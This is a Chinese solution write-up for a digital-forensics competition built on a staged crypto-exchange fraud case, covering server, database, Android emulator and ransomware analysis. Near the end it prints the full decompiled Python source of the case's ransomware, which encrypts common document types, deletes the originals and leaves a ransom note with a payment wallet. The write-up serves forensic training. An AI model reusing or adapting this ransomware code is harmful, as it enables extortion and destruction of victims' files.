长安杯
第四届“长安杯”电子数据取证竞赛题解

前言

官方题解整合了多个队伍提交的优秀题解中的思路,让各位参赛选手和电子取证爱好者能够多方面、多角度学习和吸收题目中所蕴含的知识点,同时也感谢各位提交优秀题解的队伍和师傅们:zodi4、汪汪碎冰冰、galaxy、曲院风荷、森林狼一、看大佬取证、取证小队、圣地亚哥皮皮虾、DIDSEC 、北京警察学院、石瓦坡jokers、HTEV 、凌空、打工人打工魂 。

检材一

根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题

1.检材1的SHA256值为

注意这里问的其实是原始硬盘的哈希值,而不是.e01这个文件的哈希值。

image

2. 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

方法1:仿真后使用last命令查看即可

image-20221126130741231image

方法2:火眼证据分析中查看登录日志

image

3. 检材1中, 操作系统发行版本号为

方法1cat /etc/*-release

[root@localhost ~]# cat /etc/redhat-releaseCentOS Linux release 7.5.1804 (Core)

扩展:查看Linux发行版名称、版本号和内核版本的方法

bash

# lsb_release -a

LSB( Linux 标准库(Linux Standard Base))能够打印发行版的具体信息, 包括发行版名称、版本号、代号等。

bash

# cat /etc/*-release

release 文件通常被视为操作系统的标识。在 /etc 目录下放置了很多记录着发行版各种信息的文件, 每个发行版都各自有一套这样记录着相关信息的文件。

bash

# uname -a

uname(unix name 的意思) 是一个打印系统信息的工具, 包括内核名称、版本号、系统详细信息以及所运行的操作系统等等。

bash

# cat /proc/version

记录 Linux 内核的版本、用于编译内核的 gcc 的版本、内核编译的时间, 以及内核编译者的用户名。

bash

# dmesg | grep “linux”

dmesg( 展示信息(display message) 或 驱动程序信息(driver message))是大多数类 Unix 操作系统上的一个命令, 用于打印内核的消息缓冲区的信息。

方法2:仿真时火眼也会解析出来

image

4. 检材1系统中, 网卡绑定的静态IP地址为

方法1:查看网卡配置文件

# ifconfig
# cat /etc/sysconfig/network-scripts/*

[root@localhost ~]# cat /etc/sysconfig/network-scripts/ifcfg-ens33 
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static //设定了为静态IP
IPADDR=172.16.80.133
NETMASK=255.255.255.0
GATEWAY=172.16.80.1
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=a51d1d55-06ed-4c61-9cf8-4a71bc1010b2
DEVICE=ens33
ONBOOT=yes

方法2:火眼证据分析-网络信息

image

5. 检材1中, 网站jar包所存放的目录是(答案为绝对路径, 如“/home/honglian/”)

由于VMware上显示的终端界面太不方便,我们这里打算用ssh连上去分析

image

用MobaXterm连接(记得配置VMware8路由器在同一网段下,过程不再赘述)

image

在history中可以看到在/web/app目录下有很多jar包的运行记录image

统计下一共是五个:exchange.jaradmin-api.jarcloud.jarmarket.jarucenter-api,jar

image

因此猜测该网站jar包的存放目录就是/web/app/

然后再大概梳理一遍history(一定要稳住心态 静下心去花几分钟看看)。整个过程中嫌疑人下载了五个jar包不断调试,然后下载了两个vue的项目包web.taradmin.tar不断在本地修改、打包部署,又调试了防火墙和网络,在最后部分关注到存在一个交start_web.sh的文件,但是我们在/web/app/下并没有找到该文件。

至此,我们可以知道这个web应用程序是Spring框架+Vue前端的架构(稍微跑个jar包就知道是javaweb是spring框架)。

基本知识补充:

npm工具常用命令:

bash

npm install 安装模块/包

npm run dev 启动项目 # 但run xxx中的“xxx”其实得看在package.json中是怎么定义的,不一定就是dev

npm bulid 打包部署

对nodejs包管理工具npm不熟悉的,可以参考系列博客:https://blog.csdn.net/six_six_six_666/article/details/82633731?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-82633731-blog-109997959.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-82633731-blog-109997959.pc_relevant_default&utm_relevant_index=2

nohup命令

想要通过history直接重构出网站是比较困难和费时的(比赛前中期我花了很长时间和精力在重构网站上,导致后面有点乱了阵脚和思路),但是我们通过上述梳理,其实重构出网站的前端还是比较容易的。分别进入到两个vue的项目目录下(/web/app/web//web/app/admin/),检查发现已经存在dist子目录了,说明vue源码已经打包好了,我们直接运行npm run dev启动vue项目即可。

image

image

6. 检材1中, 监听7000端口的进程对应文件名为

方法1:将jar包全部导出后, 解压缩查看application.properties文件逐个分析, 查看是哪个jar包使用了7000端口, 在cloud.jar中发现使用7000端口。

配置文件路径为 BOOT-INF\classes\application.properties

image

通过找端口的过程, 我们对网站结构和配置文件的结构有了一定的了解, 同时也看到数据库配置等其他信息

image

方法2:直接启动网站, 查看占用端口情况, 但是较难, 因为嫌疑人删除了启动脚本, 在做检材2时, D盘中会有该网站的启动脚本, 将检材2中的脚本复制到检材1中, 启动网站即可。

7. 检材1中, 网站管理后台页面对应的网络端口为(答案填写阿拉伯数字, 如“100”)

注意起网站后/web/app/admin才是真实的admin目录, admin-api.jar只是admin-api

方法1: 与检材2进行联合分析, 在检材2的 Google Chrome 历史记录中, 可以看到后台管理对应 9090 端口, 且访问地址对应检材1的静态 IP

image

方法2: 在日志里可以看到, 嫌疑人在/web/app/admin/文件里执行了

# npm run dev

检查package.json

xxxxxxxxxx "scripts": {    "init": "webpack --progress --config build/webpack.dev.config.js",     "dev": "webpack-dev-server --content-base ./ --open --inline --hot --compress --config build/webpack.dev.config.js",     "build": "webpack --progress --hide-modules --config build/webpack.prod.config.js"}

这里使用build/webpack.dev.config.js作为配置文件, 再看看这个文件可找到监听端口为9090

module.exports = merge(webpackBaseConfig,  {
    devtool: '#source-map', 
    devServer: {
        port: 9090, 
        host: "0.0.0.0"
    }, 
    ...

8. 检材1中, 网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)

方法1: 很明显这个题需要我们把前台启动后查看, 通过看历史命令, 可以看到有很多关于 vue 文件的操作, find 命令搜一下 vue 文件, 可以看到都在 /web/app 这个目录下, 由此可以初步断定该网站使用了 vue 框架, 而简单搜索一下历史命令中的另一条 npm run dev 命令, 就能知道它是用来启动 vue 项目的, 同样我们可以得知 npm run 命令实际上是用来执行配置在 package.json 文件中的脚本的, 在历史命令的 50 条左右, 可以看到有对 web.tar 包的操作, 在解压 tar 包后就在该目录下执行了 npm install 和 npm run dev 命令.

image

我们同样尝试.

image

起网站后在首页可以看到两个下载app的二维码, 保存下来用CyberChef3里解析二维码的工具来解析出url地址.

image

image


方法2: 查看源码, 判定网站前端使用vue搭建, 在/web/app/web/src/app.vue中可以搜索关键词‘二维码’也可以找到

image

物理机连通仿真检材

火眼仿真起来的虚拟机默认的网络连接配置都是 NAT 方式,我们将【虚拟网络编辑器】中 NAT 模式的子网 IP 改为【检材1】配置的静态 IP 的网段

image

此时就可以使物理机与虚拟机连通,此时就可以通过 VScode, Xshell 或 Xftp 连接到检材中,也可以在物理机的浏览器直接访问启动好的网站

9. 检材1中, 网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

首先既然网站管理后台调用了表,那就得涉及到数据库交互,那么就应该去分析java后端,比较相关的就是admin-api.jar包。

用jd-gui反编译admin-api.jar包后,简单搜索sql关键词,发现命中的结果都在lib目录(这些都是些第三方库和包)没有太大意义。我们期望的是classes目录下的命中结果,那才是用户自己编写的代码。

image

没办法,尝试burp抓包分析,试图通过http所请求的后台路由来定位java代码中处理用户登录的功能部分。

image

post请求的路由是/admin/system/employee/googleAuth/sign/in,我们回到 jd-gui中,一般来说大部分web框架均遵循MVC设计模式,因此我们来到classes.cn.ztuo.bitrade的controller目录下逐个查看,通过@RequestMapping可确定路由映射。

在SpringMVC 中使用 @RequestMapping 来映射请求,也就是通过它来指定控制器可以处理哪些URL请求,其实也就是路由映射。这其实和python-flask的装饰器类似。

在cn.ztuo.bitrade.controller.system.EmployeeController中找到了路由映射@RequestMapping({"/system/employee"})

image

往下继续查看该类的定义,发现了子路由@RequestMapping({"googleAuth/sign/in"})的定义

image

其中173、174行,可以看到它将用户传入的密码用this.md5Key加盐后,进行了一次md5运算,然后才代入adminService.login()进行身份鉴别。

我们跟进adminService对象,它是AdminService类,继续跟进找到这个类的定义,发现在它内部的sql语句中确实是有select...from admin ...,也就是题目所指的admin表,那么既然代入adminService.login()中的密码是md5运算后的,那么说明admin表中的密码都是经过了md5运算的。

image

10. 分析检材1, 网站管理后台登录密码加密算法中所使用的盐值是

接着上一题,加的盐是this.md5Key,我们溯源一下,它是来自private String md5Key;处定义的,由@Value("${bdtop.system.md5.key}")赋值

@Value(“${xxxx}”)注解的作用是可以从配置文件中读取值,也就是从文件application.yaml或application.property中获取值。

image

那么我们直接去配置文件application.properties中找到bdtop.system.md5.key变量即可

image

检材一小结

总结来自@ga1axy 不咕鸟3.0队

很经典的服务器检材,其中最重要的内容是用于构建网站前台和后台的全部文件,难点在于对这个大型网站文件结构和内容的解析,以及对长达 1000 条的历史命令记录的审计。出题人选择了一个启动命令非常繁琐复杂的虚拟币交易网站,对于该网站的搭建同样使用的站库分离的架构,在【检材1】中并不能找到有任何连接数据库相关的命令,我们需要从历史命令中找到启动网站相关的内容,以便我们在仿真环境中进行重现。

【检材1】和【检材2】的联系非常紧密,我们在得到【检材2】的解压密码后需要同步对其进行分析,其中包括了很多与【检材1】相关的内容,比如远程管理记录(Xshell & Xftp)、访问网站前台后台的浏览器历史记录和终端里的远程连接记录等,当我们能够把这两个检材联系在一起进行分析,许多问题就会很容易地找到答案。

至此,我们已知的线索:

检材二

11. 检材2中,windows账户Web King的登录密码是

image

12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

13. 检材2中,powershell中输入的最后一条命令是

14. 检材2中,下载的涉案网站源代码文件名为

在github上我们也找到了网站的架构图。

15. 检材2中,网站管理后台root账号的密码为

16. 检材2中,技术员使用的WSL子系统发行版本是

17. 检材2中,运行的数据库服务版本号是

18. 上述数据库debian-sys-maint用户的初始密码是

19. 检材3服务器root账号的密码是

检材二小结

总结来自@ga1axy 不咕鸟3.0队

这部分的题目都比较简单,而且对于同一道题都可以找到几种不同的解法,不局限在某个思路上,比较有创新点的地方是今年使用了 wsl 子系统,围绕这个子系统提出了一系列的考题,但万变不离其宗,子系统本质也就是个 Linux 系统,常用的命令和分析方式都适用于此。

对【检材2】的分析,我们得知【技术员】使用了 Windows 下的 wsl 子系统远程连接了【检材3】,而【检材3】就是【检材1】中搭建的网站的数据库,这一点我们在【第10题】中对 SpringBoot 配置文件的分析也可以得知:

image-20221101180637628

通过静态分析我们也可以确定【检材2】的初始网络配置 IP 地址就是 172.16.80.100,与【第2题】答案相照应。

至此我们已经初步理清这前三个检材之间的联系:

检材三

根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题

20.检材3中,监听33050端口的程序名(program name)为

在历史命令中发现嫌疑人进入了/data/mysql之后使用了docker-compose up

docker-compose 服务

docker-compose是一个用来定义和运行复杂应用的Docker工具,一个使用docker容器的应用,通常由多个容器组成,使用docker-compose不再需要使用shell脚本来启动容器,Compose通过一个配置文件来管理多个Docker容器,在配置文件中,所有的容器通过services来定义,然后使用docker-compose脚本来启动,停止和重启,适合组合使用多个容器进行开发的场景,docker-compose的配置文件:docker-compose.yml

image

进入目录后,查看docker-compose.yml配置文件,发现使用了端口33050

image-20221101120302903

首先netstat -anptu命令查看当前运行的所有连接中的socket,并没有发现33050端口的线索

-a: 显示所有连线中的Socket;
-p: 显示正在使用Socket的程序识别码和程序名称;
-n: 直接使用ip地址,而不通过域名服务器解析;
-t: 显示TCP传输协议的连线状况;
-u: 显示UDP传输协议的连线状况;

根据历史记录可以猜测出33050是docker容器对外映射的一个端口。开启docker服务,查看容器,发现8e开头的这个容器做了端口映射3306<--->33050,将MySQL的端口暴露到外面。

image

但题目问的是监听33050端口的程序,我们再次运行netstat -anpt命令查看socket情况

image

可以看到进程是docker-proxy

21. 除MySQL外,该网站还依赖以下哪种数据库

方法一:历史记录

历史命令发现nohup了redis和mongo

在这里插入图片描述

方法二:配置文件

第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——application.properties文件中可以看到网站数据库依赖

image

image

同时还发现了172.16.80.128:33050的jdbc配置信息,也就是它docker中MySQL的登录配置信息。

image

22. 检材3中,MySQL数据库root账号的密码是

方法一:从反编译的admin-api.jar包中可以得到答案

image

方法二:在docker-compose.yml配置文件中也能找到

image-20221101121231075

方法三:利用查看镜像的元数据

docker inspect 8e

image

23. 检材3中,MySQL数据库在容器内部的数据目录为

方法一:通过对docker-compose.yml的分析,可以看到它是将/data/mysql/db目录,挂载到了容器的/var/lib/mysql中,所以/var/lib/mysql就是他的数据目录

image-20221101121352048

方法二:进docker mysql内部 查看一下配置文件

image

方法三:文本搜索

进入docker容器内部,搜索一下常见mysql的证据文件

find / -name *.frm

image

24. 涉案网站调用的MySQL数据库名为

在对jar包的逆向中,只找到了cn.ztuo.bitrade.service.AdminService下的sql查询是admin表,并不知道它所属的数据库。

好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为子协议://服务器名或IP地址:端口号/数据库名?参数=参数值。由此知道该jdbc连接的是172.16.80.128:33050的b1数据库。

image

拓展部分:源码层面分析数据库的使用

我们进一步找找看该后台管理系统数据库连接过程中是否确实用到该 jdbc。

搜索DriverManagerDriver关键词,这是jdbc注册驱动和连接数据库时候常用的类

cn.ztuo.bitrade.util.JDBCUtils中命中结果

image

jdbcConfig对象是JDBCConfig类的实例,跟进一下,在cn.ztuo.bitrade.config.JDBCConfig中找到这个类的定义,可以证实该后台管理系统的数据库jdbc连接就是jdbc:mysql://172.16.80.128:33050/b1?characterEncoding=utf-8

image

至此可确定该站的数据库是172.16.80.128:33050上的MySQL服务,数据库是b1。

SHELL历史记录中推断数据库的使用:

在网探中查看历史命令,能够查找到SHELL历史命令rm -rf b1/,表明嫌疑人删除过b1数据库,推断出嫌疑人曾调用过该数据库

image

另外,也可以通过log的记录推断出数据库的使用

Solved by 森林狼一队

从数据卷映射的目录底下的8e***.log下面,搜索delete可以看到数据库b1。

image

25. 勒索者在数据库中修改了多少个用户的手机号?(答案填写阿拉伯数字,如“15”)

提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';命令找到MySQL日志路径

image

当然这是docker容器中的路径,我们可以去它的外部映射路径/data/mysql/db里找该日志文件,搜索关键词update即可,其中只有三条是修改用户手机号:

UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11

注意的是这里要规避一些修改登录ip(每次登录会更新登录时间IP)和登录时间的干扰项记录

image

image

26. 勒索者在数据库中删除的用户数量为

搜索关键词delete即可,计数28条,id=973到1000,大概浏览一下发现全是删除用户的,没有掺杂其他干扰项。

image

另外一种方法是直接对数据库b1进行推断

Solved by 圣地亚哥皮皮虾

在检材2中的D盘下,我们找到了删掉的b1数据库文件。利用数据库分析工具直接对其分析

image

用工具打开数据库文件之后,发现了三个表与题目关联度比较大,一个是交易记录,第二一个是用户钱包,第三一个是用户表。比对分析发现用户表的数据量比用户钱包少了28个,初步怀疑是被删除了。

image

进一步分析发现id为973-1000的用户被删掉了

image

数据库还原

我们在检材三中进入docker中的MySQL服务后,show databases;后并没有发现b1数据库

image

然后想到前面19题在检材二中发现的b1文件夹,其实这些就是MySQL服务的数据库文件

image

因此我们直接将b1文件夹放回MySQL服务的数据目录中即可(移动至检材三的/data/mysql/db目录下,也就映射到了docker容器的/var/lib/mysql目录下)

恢复b1数据库后,我们可以尝试重构该网站了,讲一下重要的点吧:

chmod +x start_web.shsh start_web.sh

image

image

拓展部分:网站后台登录界面验证码的生成解析

在审计过程中发现后台管理系统登录界面的验证码是由java代码直接生成的,并不是存储在数据库中的图片,没有涉及到数据库交互,按理说我根本不需要恢复并启动172.16.80.128的数据库,但是为什么最后却必须恢复b1数据库才能正常显示验证码?

首先找到该标签的src属性,该验证码是通过http请求 http://172.16.80.133:6010/admin/captcha?cid=ADMIN_LOGIN 获得的

image

我们逆向分析admin-api.jar,寻找该路由功能的实现,用*Captcha*搜索到/captcha路由的定义

image

整个看下来我最开始也奇怪,这个验证码确实是由java生成并响应给客户端的,那跟数据库好坏没关系吧??

但是最后细看下来发现该网站的验证码机制其实是基于session进行的,在路由/captcha( cn.ztuo.bitrade.controller.CaptchaController )中初始化验证码时会往用户session中添加对应属性

image

验证captcha时(cn.ztuo.bitrade.controller.system.EmployeeController )又会从session中获取该属性来与用户输入的验证码值进行比较。

然而我们实际看到的是,它并没有对验证码进行验证hhhh,我试了试不要验证码确实能登进去。。。

image

我又分别抓了 单纯只跑start_web.sh 和 恢复b1数据库后再跑start_web.sh 这两种情况在登录后台时候的数据包,可以看到只有恢复b1数据库后,才会带着session去进行请求。

image

image

只有带着session去请求/captcha,才会有验证码,因此,就必须要恢复b1数据库

27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4

方法一:直接恢复数据库连接分析

还原数据库b1后,连接,在admin表中发现了登录的历史IP

image

方法二:使用火眼数据库分析工具分析b1数据库

在admin_access_log表里。除了技术员的ip(通过检材1已知)还有172.16.80.197登录了管理后台的网址。

image

方法三:日志分析

在log日志中,以172.16.80为关键词全局搜索

image

28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

方法一:重构网站,在网站后台页面定位

首先在后台查找id为500的用户

image

这里会发现搜索功能不支持id匹配,但是可以通过手机号。所以这里需要在数据库 member 表里查一下id=500的用户对应的手机号

SELECT * FROM `member` where id = 500;

在这里插入图片描述

然后再根据得到的手机号在网站后台中进行搜索

在这里插入图片描述

点击更多信息即可得到钱包地址

在这里插入图片描述

方法二:数据库分析

硬翻数据库,可以定位到member_wallet

image

29.还原全部被删改的数据,共有多少名用户的会员等级为’LV3’

我们在member表里找到了疑似会员等级的列

image

但是,不要过分相信数据库的列名,我们并不知道网站源代码业务逻辑是怎么写的,这里的1可能并不代表会员等级LV1,也可能是LV2。我们做题最好还是找一个grade=3的用户去后台管理系统界面中查一查看看他是否是显示LV3。

找一个用户进行比对,这里以会员ID为389的用户为例

image

在数据库member表中查询对应ID进行比对会员等级,验证是对应的

image

第一种思路是不改变数据库的数据,综合分析

首先在表中筛选grade=3的记录共158条

image

但别忘了日志中被删除的那28条用户中是否存在grade=3的用户。

在日志中全词匹配搜索member关键词,从4071行开始都是member表初始化时候批量执行的sql脚本,倒数第四列是grade。

image

而被删除的用户是id=973到1000,我们通过搜索关键词VALUES (973找到id=973的用户原始记录,然后往下核对倒数第四列直到id=1000即可。

最终发现被删除的28个用户中有6个是LV3,所以共计158+6=164个LV3的用户

第二种思路是分析日志记录的原始插入数据

日志往上翻可以找到最初创建表时记录的所有用户的原始数据

image

通过观察数据库规律可以发现我们想要的数据项满足后四位字段值应该是0,3,0,0

image-20221103083907740

image

统计匹配得到164项

image

30. 还原全部被删改数据,哪些用户ID没有充值记录(答案填写阿拉伯数字,多个ID以逗号分隔,如“15,16,17”)

方法一:前后端综合分析

Solved by Zodi4c

先将member表中所有未删除的的id复制到excel中,再将删除的id补充进去,发现刚好有序的1000个

在网站前端对财务管理模块进行分析,发现充值表为 member_transaction ,member_transaction 没有进行删除和修改,放心使用

image

image

将member_transaction表里的所有有的id(即充值过的id)导出,去重后留下998个顺序不重复的值

在这里插入图片描述

与左边序号一一对比,目力审计得318和989没有充值记录

在这里插入图片描述

在这里插入图片描述

方法二:数据库直接定位

直接在member_wallet表里筛选balance=0的记录即可

image-20221124100130918

或者在 member_transaction 表中直接查

SELECT DISTINCT id from b1.member where b1.member.id not in (SELECT member_id from b1.member_transaction)

image-20221103090622206

31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?(答案填写阿拉伯数字,如“15”)

交易记录存在member_transaction这个表里,执行该SQL语句即可

SELECT COUNT(*) FROM member_transaction WHERE create_time BETWEEN "2022-10-17 00:00:00" AND "2022-10-17 23:59:59"

image

32.还原全部被删改数据,该网站中充值的USDT总额为(答案填写阿拉伯数字,如“15”)

方法一:数据库查询

同样在member_transaction这个表里,发现交易币种是USDT

image

直接进行SQL查询

SELECT SUM(amount) FROM member_transaction WHERE symbol = 'USDT';

image

方法二:EXCEL查询

导出member_transaction,使用excel打开,以id为标准去除重复项,对amount列进行求和,得出结果408228。

image

检材3 小结

总结来自@ga1axy 不咕鸟3.0队

这一部分题目算是本次长安杯考题的重点和难点,涉及到 docker-compose、数据库还原、网站重构、数据库日志分析和 sql 语句的使用等多个技术点,而且与【检材1】和【检材2】紧密相连:管理后台的账号密0码在【检材2】中,数据库备份和服务启动脚本在【检材2】中,管理后台网站在【检材1】中,前后端启动服务的顺序也与【检材1】有关,而数据库中有些插入和删除用户数据的操作,在案件剧情上还与【检材4】密切相关。

至此,随着对【检材3】这部分分析结束,前三个检材之间的关联分析与虚拟货币交易平台的重构就告一段落,【检材4】作为独立在外的一个检材,虽然与前三个检材在分析过程中没有实质性的关联,但它是贯穿整个案件剧情最重要的部分,我们通过对【检材4】的分析,就可以将前三个检材与案情背景串联起来,还原整个案情的真相。

检材四

根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题

33. 嫌疑人使用的安卓模拟器软件名称是

打开检材4,发现是一个npbk文件

image

搜索即可发现是夜神模拟器的备份文件

image

得到npkb文件后,有两种处理方法

得到npkb文件后,有两种处理方法

方法1:对安卓模拟器文件的取证,我们无需专门去安装对应的模拟器,可以直接用解压软件解压

image

将得到的vmdk虚拟磁盘文件直接扔火眼分析

方法2:使用夜神模拟器的导入功能将npbk文件导入,得到一个新的模拟器,证实使用的是夜神模拟器

image

34. 检材4中,“老板”的阿里云账号是

方法1:使用火眼对解压出的vmdk进行取证后,能识别到是安卓平台并启动相应的取证任务,在微信聊天记录里发现“老板”的阿里云账号为forensixtech1

image

方法2:使用火眼对解压出的vmdk进行取证,直接搜索阿里云,命中结果

image

【案情还原】

总结来自@ga1axy 不咕鸟3.0队

在这个案情中最关键最核心的部分也在这两个微信聊天记录中:

【老板】也就是这四个检材的所有者推广新发行的虚拟货币搞诈骗,找到了【灰色信仰】给他搭建网站,这个【灰色信仰】也就是上面题目中所说的【技术员】,还找到了【关心】和他的团队给他发行的新币做推广冲热度,【关心】找到了他的【小舅子】来给这个交易平台添加模拟数据,我们通过分析插入数据部分的日志也可以得知【小舅子】的 IP 地址是 172.16.80.200

image

在【老板】和【灰色信仰】聊天记录的后半部分,因为网站的功能和使用方式与交付金额等问题发生争吵,【灰色信仰】给【老板】发送了勒索邮件(在手机模拟器的 QQ 邮箱里可以看到),同时也修改和删除了网站以及数据库中部分数据,将网站上的 apk 下载内容换成了诈骗 apk(这也可以解释为什么我们在【检材1】部分下载到的 apk 就是后面要分析的恶意 apk),后面就与案情背景衔接起来,因而有了这些检材和本次取证。

有了这些背景,我们就可以理解为什么【检材3】中的数据库一开始是被删除掉的,为什么网站前端和后端的启动脚本也都被删除了,以及为什么数据库的备份是在【检材2】中,因为【灰色信仰】即【技术员】通过【检材2】对前后端服务器进行远程管理,从【检材2】的浏览器历史记录中也可以印证这个【检材2】就是【灰色信仰】的个人 PC,并且其中还保留着一些案情相关的搜索记录

image

通过下面这个架构图可以更直观的看到整个案情的脉络与各个检材和一些数据操作之间的联系

image

35. 检材4中安装的VPN工具的软件名称是

方法1:查看火眼分析应用列表

image

方法2:夜神模拟器恢复备份就可以看到桌面应用

image

36. 上述VPN工具中记录的节点IP是

方法1:查看火眼分析中v2rayNG的配置信息

image

方法2:在模拟器中启动v2rayNG

image

37. 检材4中,录屏软件安装时间为

查看火眼分析应用列表,可查看到包名为“luping”(录屏)的app,安装时间为2022/10/19 10:50:27

image

38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

**方法1:**进入/data/目录,安卓app的核心数据基本都在该目录下,找到录屏软件包名,进入databases子目录查看数据库信息,里面有个record.db文件

image

查看该数据库文件,在里面的RecordFile表中可以找到答案0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d

image

方法2:由于是使用软件生成的录像文件,就去找这个应用对应的外部存储中的文件数据路径,这里的外部存储,也就是模拟器中 Amaze 文件结构中的主目录/storage/emulated/0/Android/data/com.jiadi.luping/files

在 Movies 文件夹下,长按选择【重命名】,就可以得到完整的文件名

39. 上述录屏软件登录的手机号是

方法1:录屏软件中我的->帮助与反馈->账号注销即可看到完整手机号

image

方法2:发现存在wal预写日志文件,sqlite为了保证运行和数据处理的效率,它不会每多一条数据就立刻写入数据库中,而是存到wal预写日志文件中,然后在某个时间点再统一导入进数据库中

image

所以我们需要把这两个文件全都导出在同一目录下,然后再打开db文件查看即可

image

方法3:根据火眼给的正则全局搜索,然后根据可以显示的数字筛选

image

image

image


40. 检材4中,发送勒索邮件的邮箱地址为

使用火眼对邮件进行分析

image

exe分析

分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题

41. 分析加密程序,编译该加密程序使用的语言是

根据在QQ邮箱中的记录,在附件中找到数据下载地址.docx_encrypted文件,在文件目录中对encrypt关键词进行搜索,可以发现加解密程序和加密文件都在检材二的D盘根目录

image

方法1:使用Detect It Easy查看exe发现程序是pyinstaller生成的可执行文件,于是得出编译该加密程序使用的语言是python

方法2:用ida反编译加密程序,查看字符串发现了很多py后缀,确定使用的语言就是python

image

方法3:将恶意程序提交到微步云沙箱,自动分析后得出其引擎为python

image

42. 分析加密程序,它会加密哪些扩展名的文件?

方法1:在线反编译:https://www.toolnb.com/tools/pyc.html

方法2:PyInstaller打包的程序可以用Github上的开源工具pyinstxtrator来解包,下载后为方便起见,将pyinstxtractor.py复制到与exe在同一目录下,执行命令python3 pyinstxtractor.py encrypt_file.exe,在执行上述命令后生成的encrypt_file.exe_extracted目录下,找到与原 exe 名相同的 pyc 文件,即encrypt_file_1.pyc文件,用 uncompyle6 反编译

方法3:找这四种文件来试一下,看看能不能被加密

反编译后得到源代码为

import timefrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)print('加密程序V1.0')print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[(-1)]
                if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
                    time.sleep(3)
                    data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + '_encrypted', 'wb')
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, 'rb') as (f):
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))

                    outf.close()
                    os.remove(data_file)run_finall()def redme():
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)print('\n加密完成~~~~~~~~~~~~~~~~~~')os.system('pause')

阅读代码即可发现在run_finall函数中会对.txt,.jpg,.xls,.docx四种文件进行加密

image

43. 分析加密程序,是通过什么算法对文件进行加密的?

答案:异或

